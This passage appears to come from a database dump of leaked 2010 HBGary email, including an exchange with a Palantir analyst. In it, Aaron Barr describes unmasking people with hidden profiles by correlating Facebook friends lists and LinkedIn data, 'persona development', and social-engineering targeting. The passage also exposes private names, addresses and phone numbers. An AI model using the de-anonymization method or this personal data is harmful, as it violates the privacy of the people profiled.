\r\n       	                    \r\n             \r\n               \r\n               \r\n\r\n            \r\n              \r\n                      \r\n                     \r\n            \r\n                \r\n             \r\n               \r\n                 \r\n                     NetWitness\r\n                    \r\n                      Christopher follows this company\r\n                    \r\n                 \r\n                   &nbsp;Follow Company\r\n              \r\n       	                    \r\n             \r\n               \r\n            \r\n               \r\n          \r\n\r\n            \r\n              \r\n                      \r\n                     \r\n            \r\n                \r\n             \r\n               \r\n                 \r\n                     ArcSight\r\n                    \r\n                      Christopher follows this company\r\n                    \r\n                 \r\n                   &nbsp;Follow Company\r\n              \r\n       	                    \r\n             \r\n               \r\n               \r\n\r\n            \r\n              \r\n                      \r\n                     \r\n            \r\n                \r\n             \r\n               \r\n                 \r\n                     Symantec\r\n                    \r\n                      Christopher worked here\r\n                    \r\n                 \r\n                   &nbsp;Follow Company\r\n              \r\n       	                    \r\n             \r\n               \r\n            \r\n\r\n\r\n      \r\n    \r\n   \r\n\r\n    \r\n  \r\n\r\n\r\n  \r\n    \r\n      \r\n        \r\n          \r\n            &copy; 2010, LinkedIn Corporation\r\n          \r\n        \r\n      \r\n    \r\n  \r\n\r\n \r\n\r\n\r\n',12882,'aaron_hbgary_com/12882.html'),(11202,'2010-09-02','arc@westfields.net','/aaron@hbgary.com/new/1297008549.M25079P14101Q6057.eml','federal@hbgary.com','NGA / eSMARTS Announcement Posting','\r\nAn announcement has been posted on the NGA-eSMARTS effort website.\r\n\r\n\r\nSITE VIEWING INFORMATION\r\n\r\nThe site is on the Classified ARC accessible  on CWAN/GWAN networks using http://arc.npa.gov/ and on Intelink using http://arc.nro.ic.gov/.  Please find the situation below that fits you and see the associated information.\r\n\r\nI Have Access to the Classified network, and I Have an Account on that system\'s ARC website.\r\nOn CWAN/GWAN go to http://arc.npa.gov/ or on Intelink go to http://arc.nro.ic.gov/, log in using your Classified ARC username and password, click on Current Efforts, and select NGA /eSMARTS from the Open Source Listing.\r\n\r\nI Have Access to the Classified network (CWAN/GWAN or Intelink), But I Do NOT Have and Have Never Had an INDIVIDUAL Account on that system\'s ARC website.\r\nIf you have never had an individual account on the Classified ARC, go to http://arc.npa.gov/ (on CWAN/GWAN) or http://arc.nro.ic.gov/ (Intelink), click on \"Create New Account\" to make an account for yourself, and then follow the site access directions given in number one above.  You should use this new account that you create from this point onward whenever accessing the Classified ARC for any purpose.\r\n\r\nI Have Access to the Classified ARC and At One Time, I Had an INDIVIDUAL Account on that system\'s ARC Website, But I No Longer Have That Account Information.				\r\nIf you once had an account on the Classified ARC, please try using the \"Forgot Your Password\" link on the ARC homepage to reset your password. If your Classified email address has changed since your last login, please email (preferred) the web development team at dev@ticom.npa.gov or call secure 853-4620 for help in resetting your password.\r\n\r\nI Have the Appropriate Clearances, But I Do NOT Have Access to CWAN.\r\nFor TS//SI/TK cleared contractors without access to CWAN, the Acquisition web page information can be viewed by scheduling an appointment at any of the three ACE Regional Centers.  Contact information for scheduling an appointment and passing clearances can be found on the Internet (World Wide Web) at https://arc.westfields.net/ by clicking on CONTACTS -> FACILITY CONTACTS, then open the \"ARC Reading Room Access Process\" document for detailed instructions.Prior to scheduling an appointment, you\'re clearance information must be on file at the facility you plan to visit. Please have your cognizant security office pass your TS clearance with required SI/TK accesses, via a standard visit certification message to the Facility Security Officer of the facility you plan to visit.\r\n\r\nI DO NOT Have the Appropriate Clearances to Access CWAN.\r\nObtaining the correct clearances is a difficult task.  You either need to have a unique skill that our organization needs and it cannot find elsewhere, or you need to team with a company that has the correct clearances. Unfortunately, there is no easy answer.  Make sure that your company is entered in our Contractor Registry.  This is made visible on the Internet, but also on our classified network for cleared contractors to see.  It allows contractors with clearances to view your company\'s information, and it might be that a cleared company would then contact you for teaming purposes.\r\n\r\nTo register your company with the Contractor Registry, go to https://arc.westfields.net/, and click on the  \"Register Company\" link.\r\n\r\nTechnical Questions?\r\ndev@ticom.com\r\n\r\nRegards,\r\n\r\nARC Webmaster\r\n --------------------------------------------------------------------\r\nYou are receiving this email notice because you were listed as a point of contact for your company on the IC Acquisition Research Center (ARC) Contractor Registry.  If you do not wish to receive further notices please login to the ARC (https://arc.westfields.net/) using your company account and update your company POC profile with your email preferences.\r\n\r\nTicom Inc./ACE\r\n3810 Concorde Parkway Suite 1800\r\nChantilly, VA 20151 arc@westfields.net\r\n703-449-8014 \r\n\r\n/* ---------- html defaults ---------- */\r\nbody { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 100%; margin: 0px; padding: 0px; }\r\np, td, th { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .9em;}\r\np { margin: 0 0 10px 0; }\r\ntable { border: 0; }\r\nh2 { font-family: Georgia, Times New Roman, serif; font-size: 1.2em; font-weight: bold; color: #00005A; margin: 0px 0px 8px 0px; }\r\nh3 { font-family: Verdana, Arial, Helvetica; font-size: 1em; font-weight: bold; color: #00005A; margin: 8px 0px 4px 0px;  }\r\nh4 { font-family: Verdana, Arial, Helvetica; font-size: .9em; font-weight: bold; color: #00005A; margin: 8px 0px 2px 0px; }\r\nhr { background-color: #6699CC; } /* check this out */\r\nimg { margin: 0; padding: 0; border: 0; }\r\nblockquote { margin: 15px 20px 15px 20px; font-size: 1em; font-style: italic; }\r\n\r\n/* ---------- lists ---------- */\r\n/* default lists */\r\nol { margin: 0px; padding: 0; }\r\nol li { list-style-position: inside; list-style-type: decimal; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em; }\r\nol ol li { list-style-type: lower-alpha; font-size: .9em; line-height: 1; }\r\n\r\nul { margin: 5px 5px 5px 15px; padding: 0; max-width: 600px; }\r\nul li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* navlist in-page vertical menus */\r\n#navlist {}\r\n#navlist ul { margin: 0 0 15px 10px; padding: 0; text-align: left; }\r\n#navlist ul li { list-style-type: none; list-style-position: outside; font-size: .8em; text-indent: 0; padding: 0; margin: 5px 0px 5px 0px; }\r\n#navlist ul li a { background: transparent url(../images/earth_bullet.gif) left center no-repeat; padding: 5px 15px 5px 30px; font-size: .9em; text-align: left; text-decoration: none; line-height: 2.0; }\r\n#navlist ul li a:hover { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; color: #00005A; }\r\n#navlist ul li a#current { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; }\r\n\r\n/* interior list */\r\nul.interior { margin: 5px; padding: 0; }\r\nul.interior li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul.interior ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* ---------- generic classes ---------- */\r\n.alert { color: #CD0900; }\r\ntr.alert td { color: #CD0900; } \r\n.result { color: #CD0900; margin-bottom: 15px; font-weight: bold; }\r\n.inst { font-size: .8em; font-weight: normal; }\r\n.redbord, tr.redbord td, td.redbord { border : solid 1px #CD0900 !important; }\r\n.adminbord, tr.adminbord td, td.adminbord { border : dashed 1px #4d7dad !important; }\r\n.nobord { border: 0 !important; }\r\n.transparent { background-color: transparent !important; }\r\n.bold, tr.bold td { font-weight: bold; }\r\n.hilight, tr.hilight td { background-color: #F4F8FB !important; }\r\n.hilight2, tr.hilight2 td { background-color: #FFE8D9 !important; }\r\n.white { background-color: white; }\r\n.gray { background-color: #c8c8c8; }\r\n/* left aligned row */\r\ntr.left td, tr.left th { text-align: left; }\r\n.nobreak { white-space: nowrap; }\r\ntr.nobreak td { white-space: nowrap; }\r\n.smalltext { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .6em;}\r\n.notice { color: #CC6600 ; !important; }\r\n.green { color: #009933 ; !important; }\r\n.orange { color: #FF6600; !important; }\r\nimg.calendar { margin: 0; padding: 0; border: 0; cursor: pointer; }\r\n.clearfloat { clear: right; }\r\n.down { margin-top: 10px; }\r\n\r\n/* ---------- link styles ---------- */\r\n/* basic text link */\r\na, a:link { font-family: Verdana, Helvetica, sans-serif; color: #4D7DAD; font-weight: bold; font-variant: small-caps; text-decoration: none; }\r\na:visited { color: #333333; text-decoration: none; }\r\na:hover { text-decoration: underline; color: #000000; }\r\na:active { color: #000000; }\r\n/* button link */\r\ndiv.button { margin: 20px 0px 10px 0; }\r\ndiv.button a, div.button a:link, div.button a:visited { font-size: .9em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal; }\r\ndiv.button a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* button2 link */\r\ndiv.button2 { margin: 20px 0px 10px 0; }\r\ndiv.button2 a, div.button2 a:link, div.button2 a:visited { font-size: .8em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal;}\r\ndiv.button2 a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button2 a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* small button link */\r\ndiv.small_button { margin: 10px 0px 0px 0; }\r\ndiv.small_button a, div.small_button a:link, div.small_button a:visited { font-size: .8em; color: #00005A; background-color: #CCC; border: outset 3px #FF6600; padding: 3px 3px 3px 3px; font-variant: normal;}\r\ndiv.small_button a:hover { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\ndiv.small_button a:active { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\n\r\n/* highlight button link */\r\ndiv.hilite_button { margin: 20px 0px 10px 0; }\r\ndiv.hilite_button a, div.hilite_button a:link, div.hilite_button a:visited { color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #ff0000; padding: 3px 5px 3px 5px; }\r\ndiv.hilite_button a:hover { color: #00005A; border: inset 3px #ff0000; text-decoration: none; }\r\ndiv.hilite_button a:active { color: #000000; text-decoration: none; border: inset 3px #ff0000; }\r\n\r\n\r\n',10986,'aaron_hbgary_com/10986.html'),(11203,'2010-09-02','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008549.M294235P14101Q6058.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>','Re: MyBlock','My opinion is we can build something that will make money, potentially\r\nlots of it, but the details of game play are critical.  We have a good\r\nidea, novel, will likely get a lot of press because it hasn\'t been\r\ndone before.  But if the details aren\'t right you won\'t get the\r\naudience.  Check out a game called gpswar.  iPad/iPhone game that\r\nallows you to battle factions and control territory on a map.  It\'s\r\nlike mafia was but has location as a key feature.  You can own real\r\nmap territory.  Great idea.  Game play is not challenging or\r\ncompelling so it\'s not popular.\r\n\r\nSent from my iPad\r\n\r\nOn Sep 2, 2010, at 8:03 AM, Bob Slapnik  wrote:\r\n\r\n> Hmmm.  Cityscape. Real life has its orderly side and its ugly sides.  Some\r\n> \"players\" will want to beautify and grow the city.  But doesn\'t a good\r\n> story, movie or game need a protagonist and some interesting conflict?\r\n> Needs to be corruption, crime, crooked cops, vice, graft, etc.\r\n>\r\n> In WOW do players \"mess with each other\"?  You\'re grinding through the game\r\n> and meet characters.  Some of those characters are truly nasty?  I can see\r\n> sweet, lovable Greg unleashing his real world frustration on some\r\n> unsuspecting game character.\r\n>\r\n> Back to my question.... Can we develop a game that is good enough, fun\r\n> enough and highly marketable?....... Or do we just want to spend our time,\r\n> energy and money to just build the $%%^$##%^ thing and see what happens?\r\n> \'Cause it\'s fun?  \"Cause we just want to?\r\n>\r\n>\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Wednesday, September 01, 2010 11:44 PM\r\n> To: Greg Hoglund\r\n> Cc: Bob Slapnik\r\n> Subject: MyBlock\r\n>\r\n> Convergence of Location based services, your social network, and the virtual\r\n> gaming world.\r\n>\r\n> Social Network comes from Facebook Connect API to pull in your friends list\r\n> (this is what Zynga and all the other games use).\r\n> Location Based Services comes from Facebook Places API.  Each of the\r\n> retailers or locations has a page in facebook and they can link their page\r\n> to our game.\r\n> There is a status and management page in Facebook for MyBlock that allows\r\n> you to see the stats of your Block and your Neighbors with their own Blocks.\r\n> Your Block and that of your Residence comprise a city.  You compete against\r\n> other cities through challenges, points, status, etc.\r\n>\r\n> When you physically check in to a near-world place you can get a\r\n> pseudo-random drop that you can use to decorate your block and give you\r\n> buffs.  or other benefits in world.  When you check in X number of times or\r\n> become the \"mayor\" you get a foundstone and that foundstone can then be used\r\n> to create a building in world on your block.\r\n>\r\n> Some items can be donated to the city to build larger items that give the\r\n> overall city bigger buffs or benefits, reach certain levels or status.\r\n>\r\n> In world challenges:\r\n> Leaderboards - whose got the most livable city.\r\n> Challenges - This should have an in-world and near-world component.  Need so\r\n> many checkins at a particular place in a certain time period.  A city can\r\n> bury certain items in their city (near or in-world) and another city has to\r\n> uncover the clues and find the\r\n> Conflct - You can encroach on another city both in world and near world.\r\n> You can spend money to hire thugs to go rough the place up, start up\r\n> organized crime circuits.  You can steal mayorships to weaken the in-world\r\n> town.  When this happens the city owners have to expend resources to take\r\n> back physical territory and spend resources hiring police, combating the\r\n> encroachment, etc.\r\n>\r\n> OK the game play definately needs some work but I think we have a basic idea\r\n> to work with that is a good one.\r\n>\r\n> Thoughts?\r\n>\r\n> Aaron\r\n>\r\n> To bobs question.  Where does the revenue come in.  There are items that you\r\n> can purchase through the store to help in-world play.  You also get money\r\n> through advertising from retailers.\r\n> No virus found in this incoming message.\r\n> Checked by AVG - www.avg.com\r\n> Version: 9.0.851 / Virus Database: 271.1.1/3095 - Release Date: 09/01/10\r\n> 14:34:00\r\n>\r\n',7177,'aaron_hbgary_com/7177.html'),(11204,'2010-09-02','arc@westfields.net','/aaron@hbgary.com/new/1297008549.M504825P14101Q6059.eml','federal@hbgary.com','ARC Daily Activity Summary','\r\nThis is a daily email notice containing a summary of the active efforts that have had some activity since Wednesday, 09/01/2010 08:00 AM. Activity is described as one or more documents and/or an announcement being posted to the effort website.\r\n\r\n\r\nNo Activity on Unclassified ARC Efforts Within Defined Timeframe\r\n\r\n\r\n\r\nCWAN ARC Efforts\r\n\r\nNGA-RDAS (Announcement & Document Posting)\r\n\r\nNGA-eSMARTS (Announcement & Document Posting)\r\n\r\nNRO-CAPRICA (Announcement & Document Posting)\r\n\r\nNRO/SE-Graystone (Announcement & Document Posting)\r\n\r\n\r\n\r\nUnclassified efforts can be viewed on the Internet ARC at https://arc.westfields.net/ Classified efforts can be viewed on the CWAN ARC at http://arc.npa.gov/\r\n --------------------------------------------------------------------\r\nYou are receiving this email notice because you were listed as a point of contact for your company on the IC Acquisition Research Center (ARC) Contractor Registry.  If you do not wish to receive further notices please login to the ARC (https://arc.westfields.net/) using your company account and update your company POC profile with your email preferences.\r\n\r\nTicom Inc./ACE\r\n3810 Concorde Parkway Suite 1800\r\nChantilly, VA 20151 arc@westfields.net\r\n703-449-8014 \r\n\r\n/* ---------- html defaults ---------- */\r\nbody { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 100%; margin: 0px; padding: 0px; }\r\np, td, th { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .9em;}\r\np { margin: 0 0 10px 0; }\r\ntable { border: 0; }\r\nh2 { font-family: Georgia, Times New Roman, serif; font-size: 1.2em; font-weight: bold; color: #00005A; margin: 0px 0px 8px 0px; }\r\nh3 { font-family: Verdana, Arial, Helvetica; font-size: 1em; font-weight: bold; color: #00005A; margin: 8px 0px 4px 0px;  }\r\nh4 { font-family: Verdana, Arial, Helvetica; font-size: .9em; font-weight: bold; color: #00005A; margin: 8px 0px 2px 0px; }\r\nhr { background-color: #6699CC; } /* check this out */\r\nimg { margin: 0; padding: 0; border: 0; }\r\nblockquote { margin: 15px 20px 15px 20px; font-size: 1em; font-style: italic; }\r\n\r\n/* ---------- lists ---------- */\r\n/* default lists */\r\nol { margin: 0px; padding: 0; }\r\nol li { list-style-position: inside; list-style-type: decimal; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em; }\r\nol ol li { list-style-type: lower-alpha; font-size: .9em; line-height: 1; }\r\n\r\nul { margin: 5px 5px 5px 15px; padding: 0; max-width: 600px; }\r\nul li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* navlist in-page vertical menus */\r\n#navlist {}\r\n#navlist ul { margin: 0 0 15px 10px; padding: 0; text-align: left; }\r\n#navlist ul li { list-style-type: none; list-style-position: outside; font-size: .8em; text-indent: 0; padding: 0; margin: 5px 0px 5px 0px; }\r\n#navlist ul li a { background: transparent url(../images/earth_bullet.gif) left center no-repeat; padding: 5px 15px 5px 30px; font-size: .9em; text-align: left; text-decoration: none; line-height: 2.0; }\r\n#navlist ul li a:hover { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; color: #00005A; }\r\n#navlist ul li a#current { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; }\r\n\r\n/* interior list */\r\nul.interior { margin: 5px; padding: 0; }\r\nul.interior li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul.interior ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* ---------- generic classes ---------- */\r\n.alert { color: #CD0900; }\r\ntr.alert td { color: #CD0900; } \r\n.result { color: #CD0900; margin-bottom: 15px; font-weight: bold; }\r\n.inst { font-size: .8em; font-weight: normal; }\r\n.redbord, tr.redbord td, td.redbord { border : solid 1px #CD0900 !important; }\r\n.adminbord, tr.adminbord td, td.adminbord { border : dashed 1px #4d7dad !important; }\r\n.nobord { border: 0 !important; }\r\n.transparent { background-color: transparent !important; }\r\n.bold, tr.bold td { font-weight: bold; }\r\n.hilight, tr.hilight td { background-color: #F4F8FB !important; }\r\n.hilight2, tr.hilight2 td { background-color: #FFE8D9 !important; }\r\n.white { background-color: white; }\r\n.gray { background-color: #c8c8c8; }\r\n/* left aligned row */\r\ntr.left td, tr.left th { text-align: left; }\r\n.nobreak { white-space: nowrap; }\r\ntr.nobreak td { white-space: nowrap; }\r\n.smalltext { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .6em;}\r\n.notice { color: #CC6600 ; !important; }\r\n.green { color: #009933 ; !important; }\r\n.orange { color: #FF6600; !important; }\r\nimg.calendar { margin: 0; padding: 0; border: 0; cursor: pointer; }\r\n.clearfloat { clear: right; }\r\n.down { margin-top: 10px; }\r\n\r\n/* ---------- link styles ---------- */\r\n/* basic text link */\r\na, a:link { font-family: Verdana, Helvetica, sans-serif; color: #4D7DAD; font-weight: bold; font-variant: small-caps; text-decoration: none; }\r\na:visited { color: #333333; text-decoration: none; }\r\na:hover { text-decoration: underline; color: #000000; }\r\na:active { color: #000000; }\r\n/* button link */\r\ndiv.button { margin: 20px 0px 10px 0; }\r\ndiv.button a, div.button a:link, div.button a:visited { font-size: .9em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal; }\r\ndiv.button a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* button2 link */\r\ndiv.button2 { margin: 20px 0px 10px 0; }\r\ndiv.button2 a, div.button2 a:link, div.button2 a:visited { font-size: .8em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal;}\r\ndiv.button2 a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button2 a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* small button link */\r\ndiv.small_button { margin: 10px 0px 0px 0; }\r\ndiv.small_button a, div.small_button a:link, div.small_button a:visited { font-size: .8em; color: #00005A; background-color: #CCC; border: outset 3px #FF6600; padding: 3px 3px 3px 3px; font-variant: normal;}\r\ndiv.small_button a:hover { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\ndiv.small_button a:active { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\n\r\n/* highlight button link */\r\ndiv.hilite_button { margin: 20px 0px 10px 0; }\r\ndiv.hilite_button a, div.hilite_button a:link, div.hilite_button a:visited { color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #ff0000; padding: 3px 5px 3px 5px; }\r\ndiv.hilite_button a:hover { color: #00005A; border: inset 3px #ff0000; text-decoration: none; }\r\ndiv.hilite_button a:active { color: #000000; text-decoration: none; border: inset 3px #ff0000; }\r\n\r\n\r\n',14541,'aaron_hbgary_com/14541.html'),(11205,'2010-09-02','\"Christopher Courchesne\" <c.courchesne@yahoo.com>','/aaron@hbgary.com/new/1297008549.M704953P14101Q6060.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Join my network on LinkedIn','\r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n    Christopher Courchesne wrote: \r\n    Aaron,\r\n\r\n\r\n\r\nActually, I am going to be entering the market in the near future as the contract I\'m currently servicing is about to run its course.  So if you happen to know of any security analysis or incident responder opportunities, please let me know.\r\n\r\n\r\n\r\nThanks again,\r\n\r\n\r\n\r\nChris Courchesne\r\n\r\n\r\n\r\n\r\n\r\nOn 08/16/10 7:24 PM, Aaron Barr wrote:\r\n\r\n--------------------\r\n\r\nHi Chris,\r\n\r\n\r\n\r\nI noticed areas you are interested in expanding into.  I have opportunities in those areas if your interested in discussing, if not the right time, maybe in the future.\r\n\r\n\r\n\r\nI\'d like to add you to my professional network on LinkedIn.\r\n\r\n\r\n\r\n- Aaron Barr\r\n    \r\n  \r\n      \r\n    \r\n      LinkedIn Invitations\r\n      \r\n          \r\n            &#8226;\r\n            View original invitation\r\n          \r\n          \r\n            &#8226;\r\n            Respond to Christopher Courchesne\r\n          \r\n      \r\n    \r\n  \r\n\r\n\r\n\r\n\r\n  If you wish to change how you receive future LinkedIn invitation notifications, please click here.\r\n  If you have any questions, please contact customer_service@linkedin.com.\r\n\r\n\r\n\r\n  &#169; 2010, LinkedIn Corporation\r\n\r\n',16897,'aaron_hbgary_com/16897.html'),(11206,'2010-09-02','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008549.M958277P14101Q6061.eml','\"Aaron Zollman\" <azollman@palantir.com>','Re: Another Killer Demo','Great.  I have a meeting from 1230-2 close to your office so can just head there afterwards, be there around 230.\r\n\r\nAaron\r\n\r\nOn Sep 1, 2010, at 4:07 PM, Aaron Zollman wrote:\r\n\r\n> Maryland until about 1pm, then headed back south to McLean. The Palantir\r\n> office in Tysons works for me as a meeting point, too.\r\n> \r\n> _________________________________________________________\r\n> Aaron Zollman\r\n> Palantir Technologies | Embedded Analyst\r\n> azollman@palantir.com | 202-684-8066\r\n> \r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Wednesday, September 01, 2010 10:58 AM\r\n> To: Aaron Zollman\r\n> Subject: Re: Another Killer Demo\r\n> \r\n> I am going to be in Mclean most of the day.  Where are you going to be\r\n> tomorrow.\r\n> \r\n> Aaron\r\n> \r\n> \r\n> On Aug 31, 2010, at 5:04 PM, Aaron Zollman wrote:\r\n> \r\n>> \r\n>> Sounds good. Pick a time 2pm ET or later. Dropping by Bethesda would be on\r\n>> the way Thursday, too.\r\n>> \r\n>> \r\n>> _________________________________________________________\r\n>> Aaron Zollman\r\n>> Palantir Technologies | Embedded Analyst\r\n>> azollman@palantir.com | 202-684-8066\r\n>> \r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n>> Sent: Monday, August 30, 2010 10:38 PM\r\n>> To: Aaron Zollman\r\n>> Cc: Matthew Steckman; Ted Vera; Mark Trynor\r\n>> Subject: Re: Another Killer Demo\r\n>> \r\n>> I get it on the breakout sessions.  We would like to pursue the path to\r\n>> breakout with fingerprint data.  That hasn\'t changed.\r\n>> \r\n>> So here is the dynamic I am working with right now.\r\n>> \r\n>> We have separate customers interested in our ability to do volume malware\r\n>> processing and threat intelligence (this is TMC, Fingerprint, and\r\n>> Palanatir).\r\n>> \r\n>> We have other customers, mostly on offense, that are interested in Social\r\n>> Media for other things.\r\n>> \r\n>> In the end both of these capabilities come together to build real threat\r\n>> intelligence marrying up malware data with social media data, just baby\r\n>> steps.\r\n>> \r\n>> The social media stuff seems like low hanging fruit, so lets have a phone\r\n>> conversation on that on Thursday to discuss what are the next steps and\r\n>> when.\r\n>> \r\n>> On the threat intelligence side we have some prep work to do.  Greg told\r\n> me\r\n>> that the data that he has is basically not available.  Something about\r\n>> giving the TMC to HBGary Fed and dropping that because it was taking to\r\n> many\r\n>> development resources and they need to focus.  What does that mean, not a\r\n>> huge deal, but we need to rerun our malware through the TMC and then\r\n> through\r\n>> fingerprint and then take that data into Palantir.  Right now we are\r\n> running\r\n>> at max speed the rest of the week to get our Pentest report done and out\r\n> to\r\n>> the customer by Thursday.  So on Monday next week we can regroup with Mark\r\n> I\r\n>> think and talk about how to get the threat intel stuff going.  We have a\r\n>> meeting with US-CERT on the 9th and it would be good to be able to tell\r\n> them\r\n>> a little more than what we have right now, meaning we have a plan to\r\n>> execute.  The stick here is in our hands.  I will reread your last email,\r\n>> head is flooded, and we can readdress this on Thursday as well.\r\n>> \r\n>> Sound ok?  Good thing is potential customers definitely interested.\r\n>> \r\n>> Lets do a webex on Thursday instead I can show you a few things I am\r\n> working\r\n>> on.  I will set it up.\r\n>> \r\n>> Aaron\r\n>> \r\n>> \r\n>> On Aug 30, 2010, at 9:18 PM, Aaron Zollman wrote:\r\n>> \r\n>>> \r\n>>> 	For the two breakout spaces, we\'re looking for an integration that\r\n>>> focuses more on technical data. While I\'d like to talk through this\r\n>> proposed\r\n>>> workflow some more -- and it\'s certainly appropriate for the demo station\r\n>>> you guys will have at GovCon -- it may not be right for the breakout\r\n>>> sessions where Steckman and I have to focus our development energy. But\r\n>>> let\'s walk down the path a little further before we decide anything:\r\n>>> \r\n>>> 	Is the idea that we\'d want to ingest all of Facebook\'s data, or just\r\n>>> a targeted subset for a few users of interest; possibly using helpers to\r\n>>> reach out to the API\'s? \r\n>>> \r\n>>> 	Pete Warden (petesearch.blogspot.com) ran into some issues with\r\n>>> their AUP, resulting in a lawsuit, when he crawled most of Facebook\'s\r\n>> social\r\n>>> graph to build some statistics. I\'d be worried about doing the same. (I\'d\r\n>>> ask him for his Facebook data -- he\'s a fan of Palantir -- but he\'s\r\n>> already\r\n>>> deleted it.)\r\n>>> \r\n>>> 	Aaron B, I\'m available most of tomorrow and Thursday afternoon if\r\n>>> you want to build out the workflow a little. The new cyber ontology has\r\n> an\r\n>>> \"online account\" type set up by default; we can start by preparing a\r\n>>> Facebook Account subtype and build outward from there. \r\n>>> \r\n>>> 	Phone call good enough, or should we set up shop somewhere with data\r\n>>> and laptops? \r\n>>> \r\n>>> \r\n>>> _________________________________________________________\r\n>>> Aaron Zollman\r\n>>> Palantir Technologies | Embedded Analyst\r\n>>> azollman@palantir.com | 202-684-8066\r\n>>> \r\n>>> \r\n>>> -----Original Message-----\r\n>>> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n>>> Sent: Monday, August 30, 2010 8:54 AM\r\n>>> To: Aaron Zollman\r\n>>> Cc: Matthew Steckman; Ted Vera; Mark Trynor\r\n>>> Subject: Re: Another Killer Demo\r\n>>> \r\n>>> I think you would be demonstrating something completely new from a\r\n>> security\r\n>>> standpoint.  Twitter requires no authentication.  Follow anyone you want.\r\n>>> Facebook requires an acknowledgement to be included.  Peoples Facebook\r\n>>> friends lists are much closer to representing someones actual social\r\n>> circle\r\n>>> than just another source of information.  This has huge security\r\n>>> consequences.  My hypothesis is there is an immense amount of information\r\n>> we\r\n>>> can glean from this information.  I have actually already proven this on\r\n> a\r\n>>> small scale doing research manually.  I have been able to determine\r\n> people\r\n>>> who are employees of specific companies even though their profile was\r\n>>> completely blocked, except their friends lists.  I correlated friends\r\n>> lists\r\n>>> across multiple people who I knew were employees of a particular company\r\n>> to\r\n>>> determine this.  I also was able to cross this information with Linkedin\r\n>>> information and determine people that were in subcontracting\r\n> relationships\r\n>>> to other companies.  I think all of the facebook information in a\r\n> Palantir\r\n>>> framework could result in some of the most significant security\r\n>> revelations\r\n>>> related to social media yet published.  No more handwaving, but real data\r\n>> to\r\n>>> show the vulnerabilities.  There is a huge social engineering /targeting\r\n>>> potential here as well.  If I wanted to target a particular organization\r\n>>> what groups should I belong to, who are the influencers in the group, who\r\n>>> has the most connections, etc.\r\n>>> \r\n>>> Lets get together to discuss and I can walk you through some of the stuff\r\n>> I\r\n>>> am doing with persona development and social media exploitation.\r\n>>> \r\n>>> Aaron\r\n>>> On Aug 27, 2010, at 2:43 PM, Aaron Zollman wrote:\r\n>>> \r\n>>>> \r\n>>>> 	It\'d be even easier with the graph APIs...\r\n>>>> http://graph.facebook.com/ ... JSON parser & an API key and we could\r\n>> knock\r\n>>>> it out pretty quick. (Someone else\'s facebook account, please, though!)\r\n>>>> \r\n>>>> 	What\'s the workflow we\'d be shooting for, other than as a\r\n>>>> visualization front-end for an organization\'s structure? \r\n>>>> \r\n>>>> \r\n>>>> \r\n>>>> 	I think we\'ve done a twitter 